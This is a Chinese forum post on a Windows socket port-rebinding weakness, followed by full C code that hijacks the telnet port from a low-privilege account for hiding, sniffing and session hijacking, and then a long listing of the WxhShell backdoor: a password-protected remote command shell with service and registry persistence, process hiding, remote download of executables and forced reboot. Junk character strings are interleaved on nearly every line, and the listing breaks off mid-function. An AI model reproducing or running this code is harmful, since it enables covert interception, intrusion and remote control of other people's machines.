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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D6sw"V#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J3K=z  
7|P kc(O  
  saddr.sin_family = AF_INET; U@lc 1#  
NR{wq|"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l\HdB"nT  
UkV?,P@l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yVd^A2  
5Wt){rG0Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :$5A3i  
'=\}dav!  
  这意味着什么?意味着可以进行如下的攻击: \U~4b_aN  
^4y]7 p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !liV Y]  
092t6D}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TOYK'|lwM  
!QUY (  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L"L3n,%F  
T5BZD +Ta  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pf?kNJ*Tv)  
VSj!Gm0LB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ));#oQol9  
x%P|T3Qy5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "(koR Q  
Gn]36~)*H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .p`4>XA  
g8),$:Uw  
  #include adON&<  
  #include bQll;U^A  
  #include ?Cq7_rq  
  #include    cw;wv+|k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZO}Og&%  
  int main() #m+!<  
  { l{3B }_,  
  WORD wVersionRequested; `sxfj)s  
  DWORD ret; uFd$*`jS  
  WSADATA wsaData; bm588UQ  
  BOOL val; +Qs]8*^?;  
  SOCKADDR_IN saddr; >%JPgr/ 8  
  SOCKADDR_IN scaddr; NzRvbj]  
  int err; jXcJ/g(X3  
  SOCKET s; OI R5QH  
  SOCKET sc; ]n ?x tI  
  int caddsize;  w-jElV  
  HANDLE mt; OfsP5*d  
  DWORD tid;   3JoY-  
  wVersionRequested = MAKEWORD( 2, 2 ); z(PUoV:?  
  err = WSAStartup( wVersionRequested, &wsaData ); 0oe<=L]F  
  if ( err != 0 ) { .{Y;6]9[  
  printf("error!WSAStartup failed!\n"); ]wQ!ZG?)  
  return -1; ><%585  
  } [;E%o^/^  
  saddr.sin_family = AF_INET; ?5|;3N/zt  
   TFVQfj$r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,N/@=As9$  
FR(W.5[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =O/Bte.  
  saddr.sin_port = htons(23); vN v?trw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fF:57*ys  
  { -F[8 ZiZ  
  printf("error!socket failed!\n"); 8$Q`wRt(%  
  return -1; l =^A41L_  
  } -"(*'hD  
  val = TRUE; r^9l/H~ $  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 61\u{@o$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7AG|'s['=  
  { ,RP-)j"Wff  
  printf("error!setsockopt failed!\n"); gfk)`>E  
  return -1; wAMg"ImJ  
  } \lL[08G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !+x Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?}||?2=P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SNEhP5!  
c0Ug5Vr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gW, [X(  
  {  a+h$u  
  ret=GetLastError(); 5'lVh/  
  printf("error!bind failed!\n"); K/4@ 2vF  
  return -1; ^ 5 >e  
  } U}v`~' K  
  listen(s,2); :I"CQ C[Z  
  while(1) E}^V@ :j>  
  { k(Yz2  
  caddsize = sizeof(scaddr); ycGY5t@K@  
  //接受连接请求 |9@,ri\'Rg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0SpB 2>_  
  if(sc!=INVALID_SOCKET) h!"2Ux3!x  
  { 8K8u|]i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 qYGEhxv  
  if(mt==NULL) #86N !&x  
  { %cNN<x8  
  printf("Thread Creat Failed!\n"); 7KT*p&xm  
  break; [%IOB/{N  
  } Da^q9,|  
  } /iW+<@Mas  
  CloseHandle(mt); ]kh]l8t^  
  } l![M,8  
  closesocket(s); ~NGM6+9  
  WSACleanup(); rOIb9:  
  return 0; 6(|mdk`i  
  }   J,a&"eOZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1- RY5R}VR  
  { mq:k |w^6  
  SOCKET ss = (SOCKET)lpParam; IrwQ~z3I  
  SOCKET sc; y@LImiRG  
  unsigned char buf[4096]; ^[ae )}  
  SOCKADDR_IN saddr; {9IRW\kn  
  long num; .X g.,kW  
  DWORD val; >OG189O  
  DWORD ret; w7)pBsI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~Ps*i]n(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G T>'|~e  
  saddr.sin_family = AF_INET; !E7gI qo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l9p  6I  
  saddr.sin_port = htons(23); ^0,}y]5p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aRd~T6I  
  { 6]4~]!  
  printf("error!socket failed!\n"); 6:1`lsP  
  return -1; tldT(E6  
  } T2{e 1 =Z7  
  val = 100; V:0IBbh)w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0 _!0\d#c  
  { 7KtU\u  
  ret = GetLastError(); M-WSdG[AJ  
  return -1; ulR yt^bx|  
  } SH*'<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Z (cV g  
  { /E>;O47a  
  ret = GetLastError(); ;_sJ>.=\  
  return -1; ;H$ Cq' I  
  } BD6!,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H`[FC|RYyE  
  { YSjc=  
  printf("error!socket connect failed!\n"); {R$`YWk  
  closesocket(sc); =dm9+ff  
  closesocket(ss); =fSTncq  
  return -1; o)Q4+njT@  
  } N$=YL @m8  
  while(1) ]#~J[uk  
  { 1eXMMZ/?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pEB3 qGA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8X;?fjl`"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \F _1 C=  
  num = recv(ss,buf,4096,0); bLT3:q#s  
  if(num>0) y"?`MzcJ0  
  send(sc,buf,num,0); (>`_N%_  
  else if(num==0) 4^(x)r &(?  
  break; j/V_h'}  
  num = recv(sc,buf,4096,0); a )O"PA}2  
  if(num>0) bR`5g  
  send(ss,buf,num,0); (lsG4&\0F  
  else if(num==0) )L<.;`g4x  
  break; @6UY4vq9  
  } %Z;RY5  
  closesocket(ss); T! }G51  
  closesocket(sc); /N0mF< P  
  return 0 ; +o+f\!  
  } K#FD$,c~  
L1IF$eC  
vbJ<|#|r-  
========================================================== 6/!:vsa"3  
288mP]a(v_  
下边附上一个代码,,WXhSHELL mF gqM:  
dJ"44Wu+J  
========================================================== r*HSi.'21  
(nqhX<T>  
#include "stdafx.h" jMT[+f  
r$<!?Z  
#include <stdio.h> -J]?M  
#include <string.h> 0GMb?/   
#include <windows.h> /cS8@)e4  
#include <winsock2.h> \mF-L,yu  
#include <winsvc.h> <XL%*  
#include <urlmon.h> XT0-"-q  
|dIR v  
#pragma comment (lib, "Ws2_32.lib") ;5X6`GlS#5  
#pragma comment (lib, "urlmon.lib") +;,{`*W+N  
'[ c-$X2Ak  
#define MAX_USER   100 // 最大客户端连接数 WO>A55Xya  
#define BUF_SOCK   200 // sock buffer RqROl!6  
#define KEY_BUFF   255 // 输入 buffer <h(AJX7wsD  
besc7!S  
#define REBOOT     0   // 重启 s:<y\1Ay  
#define SHUTDOWN   1   // 关机 {[uhIJD3g6  
VnuG^)S  
#define DEF_PORT   5000 // 监听端口 Q-)(s  
NbWEP\dS'z  
#define REG_LEN     16   // 注册表键长度 ,|f=2t+5X  
#define SVC_LEN     80   // NT服务名长度 9^^\Z5  
x ]VycS  
// 从dll定义API B"v*[p?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mbAzn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~#g c{ C@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $#^3>u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e {6wFN  
_d!sSyk`  
// wxhshell配置信息 5?3v;B6  
struct WSCFG { E2Sj IR}  
  int ws_port;         // 监听端口 CW;zviH5  
  char ws_passstr[REG_LEN]; // 口令 CfOyHhhKX  
  int ws_autoins;       // 安装标记, 1=yes 0=no X8}r= K~  
  char ws_regname[REG_LEN]; // 注册表键名 l(Y32]Z   
  char ws_svcname[REG_LEN]; // 服务名 \]Y<d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tp;W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :M6|V_Yp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /@"mQx~[q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k r$)nf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =u0=)\0@r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZW M:Wj192  
hGFi|9/-u  
}; <\*)YKjn/@  
{9J|\Zz3  
// default Wxhshell configuration W3l[a^1d  
struct WSCFG wscfg={DEF_PORT, d{TcjZ  
    "xuhuanlingzhe", +@$VJM%^7b  
    1, hl[<o<`Q  
    "Wxhshell", Ov" wcJ  
    "Wxhshell",  -raK  
            "WxhShell Service", xK8m\=#  
    "Wrsky Windows CmdShell Service", .0nT*LF  
    "Please Input Your Password: ", `LH9@Z{  
  1, t:dvgRJt*  
  "http://www.wrsky.com/wxhshell.exe", QAI=nrlp  
  "Wxhshell.exe" ,T;sWl  
    }; bLTX_ R  
W'Gh:73'}  
// 消息定义模块 \*PE#RB#6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ||2%N/?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uWGp>;meO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '>[ZfT  
char *msg_ws_ext="\n\rExit."; TaF*ZT2  
char *msg_ws_end="\n\rQuit."; n4?;!p<F  
char *msg_ws_boot="\n\rReboot..."; }?b\/l<  
char *msg_ws_poff="\n\rShutdown..."; U>Is mF>m  
char *msg_ws_down="\n\rSave to "; bSM|"  
{? yRO]  
char *msg_ws_err="\n\rErr!"; C\rT'!Uk\Q  
char *msg_ws_ok="\n\rOK!"; ZyDf@(z`  
DmoY],9I+p  
char ExeFile[MAX_PATH]; VK9E{~0=  
int nUser = 0; bO6z;D#  
HANDLE handles[MAX_USER]; "-fyX!  
int OsIsNt; &=zJ MGa  
gISA13  
SERVICE_STATUS       serviceStatus; SFzoRI=qG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x1 LI&  
AsS~TLG9p  
// 函数声明 'bv(T2d~~  
int Install(void); 4o''C |ND  
int Uninstall(void); qZQm*q(jM  
int DownloadFile(char *sURL, SOCKET wsh); :wzbD,/M  
int Boot(int flag); ?@A@;`0Y  
void HideProc(void); @#"K6  
int GetOsVer(void);  :A#'8xE/  
int Wxhshell(SOCKET wsl); 6o#J  
void TalkWithClient(void *cs); }+ W5Snx  
int CmdShell(SOCKET sock); =M{&g  
int StartFromService(void); wQ-BY"cK\  
int StartWxhshell(LPSTR lpCmdLine); KW0KXO06a  
q89yW)XG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a"+VP>4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b6g9!  
9~,!+#  
// 数据结构和表定义 i(u zb<  
SERVICE_TABLE_ENTRY DispatchTable[] = a"+/fC`  
{ Z(E .F,k  
{wscfg.ws_svcname, NTServiceMain}, bz&9]% S<  
{NULL, NULL} ,0L< wa  
}; 11$v~<M  
84(jg P  
// 自我安装 d6W&u~  
int Install(void) VuBi_v6  
{ *nM.`7g*[  
  char svExeFile[MAX_PATH]; ~9f Ts4U  
  HKEY key; }k1[Fc|  
  strcpy(svExeFile,ExeFile); B^1jd!m  
r|jBKq~  
// 如果是win9x系统,修改注册表设为自启动 qyIy xJ  
if(!OsIsNt) { .Gno K?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3,+Us B%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (yu0iXZY  
  RegCloseKey(key); }Ny~.EV5^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I1ibrn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yC }x6xG  
  RegCloseKey(key); g2lv4Tiq-  
  return 0; )P/~{Ci:T&  
    } lr,i5n{6  
  } ? !34qh  
} +c'I7bBr  
else { Mf:x9#  
F fzY3r+   
// 如果是NT以上系统,安装为系统服务 wRWKem=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |?fc]dl1]  
if (schSCManager!=0) KueI*\ p  
{ m<9W#  
  SC_HANDLE schService = CreateService ,g)9ZP.F  
  ( w68VOymD/  
  schSCManager, I>3G"[t  
  wscfg.ws_svcname, RML'C:1  
  wscfg.ws_svcdisp, lce~6}  
  SERVICE_ALL_ACCESS, !hPe*pPVV)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^q~.5c|  
  SERVICE_AUTO_START, (7aE!r\Ab  
  SERVICE_ERROR_NORMAL, Bq:: 5,v  
  svExeFile, b~G|Bhxa  
  NULL, B gG+  
  NULL, HQ|{!P\/?U  
  NULL, TLzcQ|  
  NULL, m+'X8}GC#O  
  NULL XG6UV('  
  ); PDh1*bf{u  
  if (schService!=0) Z Q9's  
  { )&elr,b /y  
  CloseServiceHandle(schService); f1VA61z{)  
  CloseServiceHandle(schSCManager); 20uR?/|@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =7("xz %  
  strcat(svExeFile,wscfg.ws_svcname); @}N;C ..Y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [C~{g#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T\HP5&  
  RegCloseKey(key); _nnl+S>K  
  return 0; y+[wlo&WC  
    } Yc'7F7.<6  
  } @*LESN>T@t  
  CloseServiceHandle(schSCManager); YI?y_S  
} Y6 @A@VJ  
} 5h(] S[Zf3  
}oTac  
return 1; ~&IL>2-B  
} (3G]-  
k@R)_,2HH  
// 自我卸载 80M4~'3  
int Uninstall(void) KK*"s^ L  
{ ?+#E&F  
  HKEY key; ?3i-wpzMp  
M*c`@\  
if(!OsIsNt) { sXSZ#@u,WN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pKSVT  
  RegDeleteValue(key,wscfg.ws_regname); k4-C*Gx$h  
  RegCloseKey(key); )6mv 7M{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hMx/}Tw wt  
  RegDeleteValue(key,wscfg.ws_regname); 2\!.w^7'^T  
  RegCloseKey(key); xH8nn3U  
  return 0; U `"nX)$  
  } 86@@j*c(@k  
} c~Hq.K$d  
} LNU9M>  
else { _zO,VL  
0?j+d8*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); STB=#z  
if (schSCManager!=0) P8s'e_t  
{ h^0!I TL^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0)qLW& w  
  if (schService!=0) vi>V6IC4v  
  { dDk<J;~jGJ  
  if(DeleteService(schService)!=0) { Lp/]iZ@  
  CloseServiceHandle(schService); 7QRtNYo#\  
  CloseServiceHandle(schSCManager); (sn|`k3I  
  return 0; `ml;#n,*  
  } O@_)]z?jUc  
  CloseServiceHandle(schService); sOW-GWSE<  
  } ODM<$Yo:d  
  CloseServiceHandle(schSCManager); 2{h9a0b  
} %P9Zx!i>  
} @ B3@M  
.Isg1qrC  
return 1; : C;=<$  
} ;xa]ke3]  
_B|g)Rdv  
// 从指定url下载文件 W"WvkW>-  
int DownloadFile(char *sURL, SOCKET wsh) )5X7|*LP  
{ ?z60b=f8  
  HRESULT hr; ^IM;D)X&:  
char seps[]= "/"; I#f<YbzD  
char *token; \Jv6Igu  
char *file; PHD$E s  
char myURL[MAX_PATH]; 4oOe  
char myFILE[MAX_PATH]; 58MBG&a%  
YKUs>tQ!  
strcpy(myURL,sURL); {N;XjV1x  
  token=strtok(myURL,seps); 5kJ>pb$/  
  while(token!=NULL) Md[nlz  
  { ?(U> )SvF  
    file=token; U1rh[A>  
  token=strtok(NULL,seps); Y6fU;  
  } JX/rAnc@  
9!FV. yp%F  
GetCurrentDirectory(MAX_PATH,myFILE); zYj8\iER  
strcat(myFILE, "\\"); Q_1EAxt  
strcat(myFILE, file); Vo(d)"m?  
  send(wsh,myFILE,strlen(myFILE),0); 7IZ(3B<87t  
send(wsh,"...",3,0); q^dI!93n|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ScfW;  
  if(hr==S_OK) 12E@9s$Z  
return 0; +2W#= G  
else %-T]!3"n  
return 1; Ar=pzQ<Z{  
E( *$wD  
} )WEyB~'o  
BbiBtU  
// 系统电源模块 3QS"n.d  
int Boot(int flag) ;Fuxj!gF  
{ "v~w#\pz7  
  HANDLE hToken; E<&VK*{zcO  
  TOKEN_PRIVILEGES tkp; ZT_EpT=1  
?^IM2}(p  
  if(OsIsNt) { '(u[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *Xl&N- 04  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z6FG^  
    tkp.PrivilegeCount = 1; Jp5~iC2d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kG,6;aVZ8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u8N+ht@  
if(flag==REBOOT) { fX} dh9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XX}RbE#4  
  return 0; } "y{d@  
} 94|BSxc  
else { n&[U/`o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -_pI:K[  
  return 0; yNY1g?E  
} 0R*  
  } jB?Tua$,s  
  else { 2J|Yc^b6  
if(flag==REBOOT) { uu=e~K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |n67!1  
  return 0; AytHnp\H  
} 6eK18*j%H  
else { Fv5@-&y$W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XF{}St~(  
  return 0; 31YzTbl[H  
} t91v%L   
} Z10#6v  
pU`Q[HOs  
return 1; vD}y%}  
} }L@!TWR-Qu  
0=(5C\w2  
// win9x进程隐藏模块 ?exV:OKLb  
void HideProc(void) 1"~@UcJ  
{ @ou g^]a  
k9WihejS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T6- e  
  if ( hKernel != NULL ) YJXh|@LT  
  { |'mgo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W)w@ju$Ko  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c<-_Vh.:5  
    FreeLibrary(hKernel); 0ltq~K  
  } ?OvtR:hC  
X )g <F  
return; Eh0R0;l5>  
} *wyaBV?*K  
J0lTp /  
// 获取操作系统版本 OZLU>LU  
int GetOsVer(void) NBE)DL  
{ E@P8-x'i  
  OSVERSIONINFO winfo; F ~ /{1Q*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xQ7>u -^  
  GetVersionEx(&winfo); :%)l* [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AXz'=T}{  
  return 1; XrtB&h|C  
  else &FIPEe#n  
  return 0; 4wMKl6mL  
} lJu2}XRiU  
~%k<N/B  
// 客户端句柄模块 Iz!Blk  
int Wxhshell(SOCKET wsl) N 0&h5  
{ \BbemCPAm  
  SOCKET wsh; b 9F=}.4  
  struct sockaddr_in client; D*DCMMp=0  
  DWORD myID; y7ijT='8  
*>9#a0cp  
  while(nUser<MAX_USER) Qp!r_a&  
{ 70mQ{YNN  
  int nSize=sizeof(client); t!AHTtI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I/_`/mQ  
  if(wsh==INVALID_SOCKET) return 1; 2zh?]if  
mz3!HksZ "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ul>$vUbyf  
if(handles[nUser]==0) 'kL>F&|  
  closesocket(wsh); DL_2%&k/  
else g(>;Z@Y  
  nUser++; 8BhLO.(<O  
  } &M*&oi (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `<8~tS/. w  
QROe+:  
  return 0; qeb:n$  
} /4<eI 3Z  
|/Am\tk#13  
// 关闭 socket uw&GXOzew9  
void CloseIt(SOCKET wsh) Gnr]qxL  
{ `BmAu[(e&  
closesocket(wsh); n Uz 2~z  
nUser--; @]Aul9.h  
ExitThread(0); ;KWR/?ec  
} #&\^{Z  
Ef;_im  
// 客户端请求句柄 ~ 61O  
void TalkWithClient(void *cs) ,[D,G  
{ ^g$k4  
=oV8 !d%]  
  SOCKET wsh=(SOCKET)cs; iL)q':xz  
  char pwd[SVC_LEN]; z0t6}E<VIR  
  char cmd[KEY_BUFF]; "gfy6m  
char chr[1]; 6,7Fl=<  
int i,j; /RT3 r  
Xl.h&x0? 8  
  while (nUser < MAX_USER) { g(7htWr4  
XD<7d")I  
if(wscfg.ws_passstr) { cwlXb!S$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O{,Uge2n,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =4/LixsV|  
  //ZeroMemory(pwd,KEY_BUFF); {W62%>v  
      i=0; qDxz`}Ly=  
  while(i<SVC_LEN) { t^)q[g  
4~53%=+  
  // 设置超时 /x"gpKwsB  
  fd_set FdRead; DzkE*vR  
  struct timeval TimeOut; jX$TiG  
  FD_ZERO(&FdRead); `^-?yu@  
  FD_SET(wsh,&FdRead); \_#0Z+pX  
  TimeOut.tv_sec=8; WOZf4X`[  
  TimeOut.tv_usec=0; n6ETWjP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^VR1whCrx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8*;G\$+  
Z=_p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3/H^YM @  
  pwd=chr[0]; 57'=Qz52  
  if(chr[0]==0xd || chr[0]==0xa) { c BQ|m A  
  pwd=0; c (O+s/  
  break; {:$0j|zL1  
  } IvTtQq  
  i++; /tikLJ  
    } |xG|HJm,  
a.v$+}+.[,  
  // 如果是非法用户,关闭 socket GrGgR7eC#P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Q`{+|'=E  
} wO@b=1j  
rteViq+|.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N{IY \/;\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KFor~A# D  
e!URj\*  
while(1) { X's-i!  
J6;^:()  
  ZeroMemory(cmd,KEY_BUFF); ;'{:}K=h  
.L0pS.=LT  
      // 自动支持客户端 telnet标准   <T[%03  
  j=0; {c<MB xk  
  while(j<KEY_BUFF) { NIrK+uC.d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2lDgv ug  
  cmd[j]=chr[0]; 2mP| hp?  
  if(chr[0]==0xa || chr[0]==0xd) { /7De .O~H  
  cmd[j]=0; ?d-(M' v.  
  break; dGAthbWJ  
  } l7Y^C1hM  
  j++; !!E_WDZ#9  
    } [ -bL>8  
W1$B6+}Z0V  
  // 下载文件 j_-$xz5-  
  if(strstr(cmd,"http://")) { sTU]ntoQqR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6cp x1y]~6  
  if(DownloadFile(cmd,wsh)) +j_Vs+0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EB)j&y_  
  else "5Bga jrB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WM}:%T-  
  } )zlksF  
  else { -iGt]mbJkP  
M6vW}APH[n  
    switch(cmd[0]) { lb2mWsg"  
  eXx6b~D  
  // 帮助 "Nj(0&  
  case '?': { cpz}!D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 81V,yq]  
    break; J)Dw`=O0n  
  } 2f]:n  
  // 安装 c Bb!7?6(  
  case 'i': { fz31di9$  
    if(Install()) 8)&yjY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5F+5J)h  
    else q]=. Aik  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )5_GJm&R9  
    break; Mii-Q`.:  
    } Na=9 ju  
  // 卸载 VG*BAFs  
  case 'r': { Wxkk^J9F3  
    if(Uninstall()) Qf0$Z.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~afQA>  
    else k{Vc5F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eft-]c+*0  
    break; {H#1wu^]O$  
    } YiB]}/  
  // 显示 wxhshell 所在路径 Qzw~\KY:  
  case 'p': { "Y }f"X|  
    char svExeFile[MAX_PATH]; ?t$sju(\  
    strcpy(svExeFile,"\n\r"); X?z5IL;rt  
      strcat(svExeFile,ExeFile); zLc.4k  
        send(wsh,svExeFile,strlen(svExeFile),0); 1GN>,Lb: o  
    break; Y}7'OM  
    } LN ]ks)  
  // 重启 +2O('}t  
  case 'b': { ag]b]K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e]!Vxn3  
    if(Boot(REBOOT)) %h=)>5-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^LaI{UDw%h  
    else { kV!0cLH!hH  
    closesocket(wsh); Nt,)5_K <  
    ExitThread(0); :k6|-A2  
    } A3*ti!X<6  
    break; gF^l`1f"  
    } F#7ZR*ZB1  
  // 关机 jy(,^B,]  
  case 'd': { U2 <*BRJ  
